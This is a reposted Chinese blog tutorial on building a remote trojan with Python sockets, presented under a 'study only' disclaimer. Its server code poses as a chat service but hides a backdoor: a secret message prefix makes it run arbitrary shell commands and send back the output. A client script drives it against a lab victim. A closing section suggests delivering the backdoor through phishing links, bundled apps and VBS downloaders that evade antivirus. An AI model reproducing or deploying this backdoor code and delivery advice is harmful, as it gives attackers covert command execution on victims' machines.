基于Python/Socket实现小型的远程木马(包含实验)

| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。

前言

本文是用 Python 的 Socket 模块进行的服务搭建,主要是基于TCP服务的远程木马,因此要掌握一点TCP服务搭建的知识,可以参考我的另一篇文章,结合网上搜索的知识,搭建TCP服务器和客户端,然后再进行实验。

参考文章:用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客

还要用到 Python 的 os 模块,进行命令操作,接下去话不多说,直接开始写代码

TCP服务端代码

import socket, os
​
# 以下不写注释了,要了解原理可参考我上面的文章或自行网上搜索
def attack():
    s = socket.socket()
    try:
        s.bind(("0.0.0.0", 6666))
        s.listen()
        chanel, cilent = s.accept() # accept会造成线程阻塞,但是一般情况下不考虑这个
        while True:
            recive_content = chanel.recv(1024).decode()
            if recive_content.startswith("+=+=+"):
                # 非正常业务
                # 后门代码,key 是 +=+=+# ,后面加命令,就可以执行了
                command = recive_content.split("#")[-1]
                result = os.popen(command).read()
                # 回传信息
                chanel.send(result.encode())
            else:
                # 正常的会话(正常业务)
                print(recive_content)
                # 价值一个亿的人工智能代码↓(doge)
                response_content = recive_content.replace("吗?", "!")
                chanel.send(response_content.encode())
    except:
        # 防止服务器因报错停止
        s.close
        attack()
    
    
if __name__ == '__main__':
    attack()

TCP客户端代码

import socket
​
# 获取socket对象
s = socket.socket()
# 连接TCP服务器 下面这个ip是我的 被攻击机的ip,在下面的实验中可知
s.connect(("192.168.121.133", 6666))
while True:
    content = input("请输入要传到服务器的数据:")
    # content = "+=+=+#" + content   # 只要执行命令的话就打开这行代码,自动补充了key
    s.send(content.encode())
​
    # 传回数据
    recive_content = s.recv(10240).decode() # 这里缓冲区设置的大一点,防止回传信息过多而无法接收
    print(recive_content)

实验环境

客户端(攻击端):win10: ip:????(不需要知道)

服务端(被攻击端):Ubuntu: ip :192.168.121.132

方法

1、Ubuntu中

将TCP服务端代码放到 Ubuntu 中,并执行,就会在特定端口打开服务

如下:

开启前:在终端输入 netstat -ant 查看端口情况

现在我们开启服务:

再输入 netstat -ant 会发现 6666 端口已经开启监听

2、Win10中

在win10中,我们直接运行 客户端代码,就可以和服务器建立一个 TCP 连接,并开始传数据

于是我们可以开始干点猥琐的事情,比如....查看ip!(实在是太猥琐了)

关于如何攻击的讨论

看完上面的,你会说,别人又不傻,怎么会来执行你的脚本,不过这就涉及到社工了,总有办法的。

比如如果对方有执行代码的环境,那么也许我们可以发个邮件给别人,点开链接,进入某个我们自己写的网站,然后下载一些py程序,或者干脆下载一个应用,然后把后门放进去,由于每台windows都可以直接执行 vbs 文件,所以老旧的办法是用vbs写中间下载代码,绕过杀毒软件(免杀),然后下载真后门,不过现在好像杀毒软件都比较吊,有点难绕...以上仅是攻击讨论猜测,纯属玩笑话,看看就好。

仍存在的问题

在实验过程中,发现其实这个服务端代码写的仍然有点问题,应该是阻塞的问题,当我们在客户端中输入了错误的命令时,服务端会发生阻塞,客户端就得不到任何回显了,当然我们可以重启客户端(这是我们能做的),就可以重新发命令。

然后有的时候会莫名其妙产生BUG,估计也和操作系统有关系,不太懂了。以后学到了再回头说吧。

猜你喜欢

转载自blog.csdn.net/BrosyveryOK/article/details/127170958
今日推荐